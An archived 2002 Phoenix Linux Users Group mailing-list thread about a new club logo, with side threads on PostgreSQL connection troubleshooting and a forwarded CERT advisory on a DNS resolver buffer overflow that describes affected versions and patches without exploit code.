newest version, also the master will be posted soon. what do > you guys think about Tux in a Spawn Costume? > > http://www.zen2now.com/tux/tux1.jpg > > need some good feed back, as i want to get going with the screen printing > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:00:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Fri, 28 Jun 2002 14:00:49 -0700 Subject: PLUG Logo Update! In-Reply-To: References: Message-ID: <20020628210048.GG8953@ecloud.org> I like the cacti better, I think; but I think those white lines on Tux's arms aren't necessary, makes him look too artificial and also creates a bit of an illusion where his left arm meets his foot. And maybe his right arm (our left, his right) should be more rounded, convex instead of concave. It looks like you did this as a scalable vector graphic of some kind, which is great for blowing up to make bigger stuff like banners or T-shirts. I think maybe the main font should be non-italic, and only the tagline in italics. On Fri, Jun 28, 2002 at 04:37:06PM -0400, alandd@mindspring.com wrote: > It is lopsided with the BIG saguaro on the right and the little cactus on the > left. I like the balance of the original logo, with saguaros not too big and > on both sides. It would match the banner we already have. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:16:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Fri, 28 Jun 2002 16:16:28 -0400 (EDT) Subject: MS offers licence fee FINANCING! In-Reply-To: Message-ID: On Fri, 28 Jun 2002 alandd@mindspring.com wrote: > Open License Customers can Exercise 90-day No Payments/No Interest Option > Microsoft is offering, for a limited time, the Microsoft Open License Credit > Line Program to qualified small and medium businesses in the United States. It > provides business owners with low minimum monthly payments options through > extremely competitive financing for purchases made through July 31, 2002. > Learn more from the FAQ about the Microsoft Open License Credit Line Program. > http://www.microsoft.com/licensing/programs/open/finance/faqcredit.asp Honey, did you forget to pay the Microsoft bill? The computer won't let me open my email. ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush, 27 June 2002 http://www.nandotimes.com/politics/story/448758p-3591873c.html ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:17:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 28 Jun 2002 14:17:16 -0700 Subject: PLUG Logo Update! Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B54C@mail.int.fh.org> I like this one just the way it is. -----Original Message----- From: slr [mailto:zen2now@qwest.net] Sent: Friday, June 28, 2002 2:06 PM To: plug-discuss@lists.plug.phoenix.az.us; alandd@mindspring.com Subject: Re: PLUG Logo Update! k, i sent the feedback to Austin, and he is on it. so maybe here shortly we will have another version up for viewing. thx for the quick response! slr On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > My $0.02. > > It is lopsided with the BIG saguaro on the right and the little cactus on > the left. I like the balance of the original logo, with saguaros not too > big and on both sides. It would match the banner we already have. > > Other than that, way cool work! Thanks for doing it! > > Alan > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > this is the newest version, also the master will be posted soon. what do > you guys think about Tux in a Spawn Costume? > > http://www.zen2now.com/tux/tux1.jpg > > need some good feed back, as i want to get going with the screen printing > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:28:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Starke) Date: Fri, 28 Jun 2002 16:28:37 -0500 Subject: postgreSQL permission problems In-Reply-To: ; from tom@technicaljanitors.com on Fri, Jun 28, 2002 at 01:49:19PM -0700 References: <20020628144044.A45907@megconsult.com> Message-ID: <20020628162837.A57530@megconsult.com> Right before Derek replied I figured out the pg_hba file right. So her was right on. although I have it fairly wide open, I'm able to get in and evaluate the program. I do have one question: Someone posted earlier this week about postgres utilizing the GRANT & REVOKE statements. In MySQL, it is pretty straightforward (at least to me) what happens when you issue GRANT statements. How is this handled in postgreSQL? Does it make entries in a table somewhere, or does it manipulate the pg_hba file? Or? v/r mike :On Fri, Jun 28, 2002 at 01:49:19PM -0700, Tom Emerson wrote: Mike, how is the postmaster started? (postmaster is the postgresql backend server) There is an option the postmaster needs in order to allow network connections. Example, looking at the process list (ps ax): /usr/local/pgsql/bin/postmaster -i -D /web/pgsql The "-i" option seen here allows tcp connections, without it, quite a few of the software's can't connect. If you don't see this "-i" option, that may be your problem. A typical startup command for the postmaster looks like this (but all on one line!): su - postgres -c "/usr/local/pgsql/bin/postmaster -i -D /web/pgsql >logfile 2>&1 &" On Fri, 28 Jun 2002, Mike Starke wrote: I am attempting to get SQL-Ledger up and running and am running into a few problems as it pertains to postgreSQL. I have done the following: 1. As the user postgres (I'm on a debian sysem btw), I have done: 'createuser mike' 2. As the user 'mike' I have done: 'createdb mydb' 3. I can, as user 'mike' do: 'psql mydb' and get to the command line utility. 4. I have also ensured that I have the line" 'tcpip_socket = 1' in /etc/postgresql.conf 5. I have mucked around in /etc/postgresql/pg_hba.conf a bit and not sure what I have done in there. At any rate, when I fire up http://localhost/sqlledger.admin.pl, login, and then try to "Create Dataset" under the user 'mike', my linux (mike) password, and connect to 'mydb', I get the following error:FATAL 1: IDENT authentication failed for user "mike". I'm suspect my problems lie within pg_hba.conf, but whatever I do (thinking it is wide open) I continue to get the same error message. Can anyone offer some guidance here? v/r Mike ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:35:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 14:35:59 -0700 Subject: PLUG Logo Update! In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B54C@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B54C@mail.int.fh.org> Message-ID: <200206281435.59188.zen2now@qwest.net> Austin loves you! slr On Friday 28 June 2002 02:17 pm, Tom Achtenberg wrote: > I like this one just the way it is. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:48:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 14:48:27 -0700 Subject: PLUG Logo Update! In-Reply-To: References: Message-ID: <200206281448.27786.zen2now@qwest.net> ok, seeing that it is kind of a split. some like the prickly pears and some like saguaros. how about we have 2, one with prickly's and one with saguaros. those who like prickly's will be happy, and those who want saguaro's will be happy as well. as for the White Outline on Tux's arms, is it really that distracting from the overall image? as for the Italic Fonts, is this an overall deciding factor for the group? slr On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > My $0.02. > > It is lopsided with the BIG saguaro on the right and the little cactus on > the left. I like the balance of the original logo, with saguaros not too > big and on both sides. It would match the banner we already have. > > Other than that, way cool work! Thanks for doing it! > > Alan > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > this is the newest version, also the master will be posted soon. what do > you guys think about Tux in a Spawn Costume? > > http://www.zen2now.com/tux/tux1.jpg > > need some good feed back, as i want to get going with the screen printing > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:56:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 14:56:00 -0700 Subject: PLUG Logo Update! In-Reply-To: <20020628210048.GG8953@ecloud.org> References: <20020628210048.GG8953@ecloud.org> Message-ID: <200206281456.00084.zen2now@qwest.net> > It looks like you did this as a scalable vector graphic of some kind, > which is great for blowing up to make bigger stuff like banners or > T-shirts. yes it is. slr From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 22:29:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Fri, 28 Jun 2002 15:29:14 -0700 Subject: PLUG Logo Update! References: <200206281448.27786.zen2now@qwest.net> Message-ID: <007001c21ef3$3bf344c0$0601010a@tickticker.com> I hate to point this out, but the saguaro is very clean shaven, heck,i've never been able to shave that close. anthony ----- Original Message ----- From: "slr" To: ; Sent: Friday, June 28, 2002 2:48 PM Subject: Re: PLUG Logo Update! > ok, seeing that it is kind of a split. some like the prickly pears and some > like saguaros. how about we have 2, one with prickly's and one with saguaros. > those who like prickly's will be happy, and those who want saguaro's will be > happy as well. > > as for the White Outline on Tux's arms, is it really that distracting from the > overall image? > > as for the Italic Fonts, is this an overall deciding factor for the group? > > slr > > On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > > My $0.02. > > > > It is lopsided with the BIG saguaro on the right and the little cactus on > > the left. I like the balance of the original logo, with saguaros not too > > big and on both sides. It would match the banner we already have. > > > > Other than that, way cool work! Thanks for doing it! > > > > Alan > > > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > > > this is the newest version, also the master will be posted soon. what do > > you guys think about Tux in a Spawn Costume? > > > > http://www.zen2now.com/tux/tux1.jpg > > > > need some good feed back, as i want to get going with the screen printing > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 22:47:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 15:47:03 -0700 Subject: PLUG Logo Update! In-Reply-To: <007001c21ef3$3bf344c0$0601010a@tickticker.com> References: <200206281448.27786.zen2now@qwest.net> <007001c21ef3$3bf344c0$0601010a@tickticker.com> Message-ID: <200206281547.03743.zen2now@qwest.net> hehe, its a Native American Saguaro. :~D slr On Friday 28 June 2002 03:29 pm, tickticker wrote: > I hate to point this out, but the saguaro is very clean shaven, heck,i've > never been able to shave that close. > > anthony > ----- Original Message ----- > From: "slr" > To: ; > Sent: Friday, June 28, 2002 2:48 PM > Subject: Re: PLUG Logo Update! > > > ok, seeing that it is kind of a split. some like the prickly pears and > > some > > > like saguaros. how about we have 2, one with prickly's and one with > > saguaros. > > > those who like prickly's will be happy, and those who want saguaro's will > > be > > > happy as well. > > > > as for the White Outline on Tux's arms, is it really that distracting > > from > > the > > > overall image? > > > > as for the Italic Fonts, is this an overall deciding factor for the > > group? > > > > slr > > > > On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > > > My $0.02. > > > > > > It is lopsided with the BIG saguaro on the right and the little cactus > > on > > > > the left. I like the balance of the original logo, with saguaros not > > too > > > > big and on both sides. It would match the banner we already have. > > > > > > Other than that, way cool work! Thanks for doing it! > > > > > > Alan > > > > > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > > > > > this is the newest version, also the master will be posted soon. what > > > do you guys think about Tux in a Spawn Costume? > > > > > > http://www.zen2now.com/tux/tux1.jpg > > > > > > need some good feed back, as i want to get going with the screen > > printing > > > > slr > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 23:06:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 28 Jun 2002 16:06:54 -0700 Subject: PLUG Logo Update! In-Reply-To: <200206281448.27786.zen2now@qwest.net> References: <200206281448.27786.zen2now@qwest.net> Message-ID: <0206281606541A.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Wow! Choice! Whutta concept! Next thing you will tell us is that this is freely available and we can download the source for it! I like the idea of two of them. I see Tux's left flipper as deformed tho - it could/should be hidden behind his left foot. On Friday 28 June 2002 14:48, you wrote: > ok, seeing that it is kind of a split. some like the prickly pears and some > like saguaros. how about we have 2, one with prickly's and one with > saguaros. those who like prickly's will be happy, and those who want > saguaro's will be happy as well. > > as for the White Outline on Tux's arms, is it really that distracting from > the overall image? > > as for the Italic Fonts, is this an overall deciding factor for the group? > > slr > > On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > > My $0.02. > > > > It is lopsided with the BIG saguaro on the right and the little cactus on > > the left. I like the balance of the original logo, with saguaros not too > > big and on both sides. It would match the banner we already have. > > > > Other than that, way cool work! Thanks for doing it! > > > > Alan > > > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > > > this is the newest version, also the master will be posted soon. what do > > you guys think about Tux in a Spawn Costume? > > > > http://www.zen2now.com/tux/tux1.jpg > > > > need some good feed back, as i want to get going with the screen printing > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRzsDisk3ywszI1FEQLcigCeKuB/hd/HCwiY498my7umdPD+gzoAn1Ac 8xPJbMh5Xk5qhbfX13mjzIl3 =i7zK -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 23:28:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 16:28:05 -0700 Subject: PLUG Logo Update! In-Reply-To: <0206281606541A.07972@nova.wedge.org> References: <200206281448.27786.zen2now@qwest.net> <0206281606541A.07972@nova.wedge.org> Message-ID: <200206281628.05025.zen2now@qwest.net> hehe, you will be able to! as for Tux's left flipper, it is like that on Larry's site. http://www.isc.tamu.edu/~lewing/linux/ slr On Friday 28 June 2002 04:06 pm, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Wow! Choice! Whutta concept! Next thing you will tell us is that this is > freely available and we can download the source for it! > > I like the idea of two of them. I see Tux's left flipper as deformed tho - > it could/should be hidden behind his left foot. > > On Friday 28 June 2002 14:48, you wrote: > > ok, seeing that it is kind of a split. some like the prickly pears and > > some like saguaros. how about we have 2, one with prickly's and one with > > saguaros. those who like prickly's will be happy, and those who want > > saguaro's will be happy as well. > > > > as for the White Outline on Tux's arms, is it really that distracting > > from the overall image? > > > > as for the Italic Fonts, is this an overall deciding factor for the > > group? > > > > slr > > > > On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > > > My $0.02. > > > > > > It is lopsided with the BIG saguaro on the right and the little cactus > > > on the left. I like the balance of the original logo, with saguaros > > > not too big and on both sides. It would match the banner we already > > > have. > > > > > > Other than that, way cool work! Thanks for doing it! > > > > > > Alan > > > > > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > > > > > this is the newest version, also the master will be posted soon. what > > > do you guys think about Tux in a Spawn Costume? > > > > > > http://www.zen2now.com/tux/tux1.jpg > > > > > > need some good feed back, as i want to get going with the screen > > > printing > > > > > > slr > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPRzsDisk3ywszI1FEQLcigCeKuB/hd/HCwiY498my7umdPD+gzoAn1Ac > 8xPJbMh5Xk5qhbfX13mjzIl3 > =i7zK > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 23:35:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Fri, 28 Jun 2002 16:35:42 -0700 Subject: Accounting Packages References: Message-ID: <3D1CF2CE.A981904A@cox.net> What about Moneydance? I use it, and I like it. -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 23:37:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jay) Date: Fri, 28 Jun 2002 16:37:18 -0700 (MST) Subject: Security Exploit in DNS Servers (fwd) Message-ID: FYI - Another security notice that I just sent to AZIPA. This one is about DNS resolver libraries (possible remote exploit) - thus, it seemed appropriate for PLUG too. :) -- ~Jay ---------- Forwarded message ---------- Date: Fri, 28 Jun 2002 16:36:07 -0700 (MST) From: Jay To: AZIPA Subject: Security Exploit in DNS Servers Here's another network security threat to finish everyone's week with. :) This one is a possible remote vulnerability in some of the libraries associated with many DNS servers (including the most popular one, BIND). As usual, you may be vulnerable to this exploit and not even know it - contact your vendor for a patch. The official CERT advisory is below: ~Jay -- == Jay Jacobson == Edgeos, Inc. - Security is Critical - http://www.edgeos.com == We help you to easily get control of your network's security. == ...or some hacker can just take control instead. You decide. ---------- Forwarded message ---------- Date: Fri, 28 Jun 2002 17:17:10 -0400 (EDT) From: CERT Advisory To: cert-advisory@cert.org Subject: CERT Advisory CA-2002-19 Buffer Overflow in Multiple DNS Resolver Libraries -----pgpenvelope processed message CERT Advisory CA-2002-19 Buffer Overflow in Multiple DNS Resolver Libraries Original release date: June 28, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected Applications using vulnerable implementations of the Domain Name System (DNS) resolver libraries, which include, but are not limited to: * Internet Software Consortium (ISC) Berkeley Internet Name Domain (BIND) DNS resolver library (libbind) * Berkeley Software Distribution (BSD) DNS resolver library (libc) Overview A buffer overflow vulnerability exists in multiple implementations of DNS resolver libraries. Operating systems and applications that utilize vulnerable DNS resolver libraries may be affected. A remote attacker who is able to send malicious DNS responses could potentially exploit this vulnerability to execute arbitrary code or cause a denial of service on a vulnerable system. I. Description The DNS protocol provides name, address, and other information about Internet Protocol (IP) networks and devices. To access DNS information, a network application uses the resolver to perform DNS queries on its behalf. Resolver functionality is commonly implemented in libraries that are included with operating systems. Multiple implementations of DNS resolver libraries contain a remotely exploitable buffer overflow vulnerability in the way the resolver handles DNS responses. Both BSD (libc) and ISC (libbind) resolver libraries share a common code base and are vulnerable to this problem; any DNS resolver implementation that derives code from either of these libraries may also be vulnerable. Network applications that makes use of vulnerable resolver libraries are likely to be affected, therefore this problem is not limited to DNS or BIND servers. Vulnerability Note VU#803539 lists the vendors that have been contacted about this vulnerability: http://www.kb.cert.org/vuls/id/803539 This vulnerability is not the same as the Sendmail issue discussed in Vulnerability Note VU#814627: http://www.kb.cert.org/vuls/id/814627 II. Impact An attacker who is able to send malicious DNS responses could remotely exploit this vulnerability to execute arbitrary code or cause a denial of service on vulnerable systems. Any code executed by the attacker would run with the privileges of the process that calls the vulnerable resolver function. Note that an attacker could cause one of the victim's network services to make a DNS request to a DNS server under the attacker's control. This would permit the attacker to remotely exploit this vulnerability. III. Solution Upgrade to a corrected version of the DNS resolver libraries Note that DNS resolver libraries can be used by multiple applications on most systems. It may be necessary to upgrade or apply multiple patches and then recompile statically linked applications. Applications that are statically linked must be recompiled using patched resolver libraries. Applications that are dynamically linked do not need to be recompiled; however, running services need to be restarted in order to use the patched resolver libraries. System administrators should consider the following process when addressing this issue: 1. Patch or obtain updated resolver libraries. 2. Restart any dynamically linked services that make use of the resolver libraries. 3. Recompile any statically linked applications using the patched or updated resolver libraries. Use a local caching DNS server Using a local caching DNS server that reconstructs DNS responses will prevent malicious responses from reaching systems using vulnerable DNS resolver libraries. For example, BIND 9 reconstructs responses in this way, with the exception of forwarded dynamic DNS update messages. Note that BIND 8 does not reconstruct all responses; therefore this workaround may not be effective when using BIND 8 as a caching DNS server. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Compaq SOURCE: Compaq Computer Corporation, a wholly-owned subsidiary of Hewlett-Packard Company and Hewlett-Packard Company HP Services Software Security Response Team x-ref:SSRT2270 At the time of writing this document, Compaq is currently investigating the potential impact to Compaq's released Operating System software products. As further information becomes available Compaq will provide notice of the completion/availibility of any necessary patches through standard product and security bulletin announcements and be available from your normal HP Services support channel. Cray, Inc. The DNS resolver code supplied by Cray, Inc. in Unicos and Unicos/mk is vulnerable. SPR 722619 has been opened to track this problem. FreeBSD See ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:28. resolv.asc GNU adns adns is not derived from BIND libresolv. Furthermore, it does not support a gethostbyname-like interface (which is where the bug in BIND libresolv is). Therefore, it is not vulnerable. For more information on GNU adns, see: http://www.gnu.org/software/adns/ http://www.chiark.greenend.org.uk/~ian/adns/ Internet Software Consortium All versions of BIND 4 from 4.8.3 prior to BIND 4.9.9 are vulnerable. All versions of BIND 8 prior to BIND 8.2.6 are vulnerable. All versions of BIND 8.3.x prior to BIND 8.3.3 are vulnerable. BIND versions BIND 9.2.0 and BIND 9.2.1 are vulnerable. BIND version 4.8 does not appear to be vulnerable. BIND versions BIND 9.0.x and BIND 9.1.x are not vulnerable. 'named' itself is not vulnerable. Updated releases can be found at: ftp://ftp.isc.org/isc/bind/src/4.9.9/ ftp://ftp.isc.org/isc/bind/src/8.2.6/ ftp://ftp.isc.org/isc/bind/src/8.3.3/ ftp://ftp.isc.org/isc/bind/contrib/ntbind-8.3.3/ BIND 9 contains a copy of the BIND 8.3.x resolver library (lib/bind). This will be updated with the next BIND 9 releases (9.2.2/9.3.0) in the meantime please use the original in BIND 8.3.3. In addition the BIND 9 'named' can be used to prevent malformed answers reaching vulnerable clients. Vendors wishing additional patches should contact bind-bugs@isc.org. Query about BIND 4 and BIND 8 should be addressed to bind-bugs@isc.org. Query about BIND 9 should be addressed to bind9-bugs@isc.org. Microsoft Microsoft products do not use the libraries in question. Microsoft products are not affected by this issue. OpenBSD [T]he resolver libraries in question got copied far and wide. They used to have a hell of a lot of bugs in them. Now might be a good time for people to compare each others' libraries to each other. I would urge them to compare against the OpenBSD ones, where we've spent a lot of time on, but of course we still missed this. But perhaps people can then share some around. Not everyone is going to move to the bind9 stuff, since it is very different. NetBSD See ftp://ftp.NetBSD.ORG/pub/NetBSD/security/advisories/NetBSD-SA2002-0 06.txt.asc Network Appliance Some NetApp systems are vulnerable to this problem. Check NOW (http://now.netapp.com) for information on whether your system is vulnerable and the appropriate patch release that you should install. SGI SGI is looking into the matter. _________________________________________________________________ The CERT Coordination Center thanks Joost Pol of PINE-CERT and the FreeBSD Project for their analysis of these vulnerabilities. _________________________________________________________________ Feedback can be directed to the authors: Art Manion and Jason A. Rafail _________________________________________________________________ Appendix B. - References 1. http://www.pine.nl/advisories/pine-cert-20020601.asc ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-19.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * "CERT" and "CERT Coordination Center" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an "as is" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. Revision History June 28, 2002: Initial release -----pgpenvelope information Version: PGP 6.5.8 gpg: Signature made Fri Jun 28 14:12:00 2002 MST using RSA key ID D02361C9 gpg: Can't check signature: public key not found pgpenvelope_decrypt: message processed at Fri Jun 28 16:27:54 2002 -----end pgpenvelope information From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 23:58:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 16:58:06 -0700 Subject: New Version of PLUG Logo Message-ID: <200206281658.06007.zen2now@qwest.net> check it out. dual saguaro's and non-italic fonts 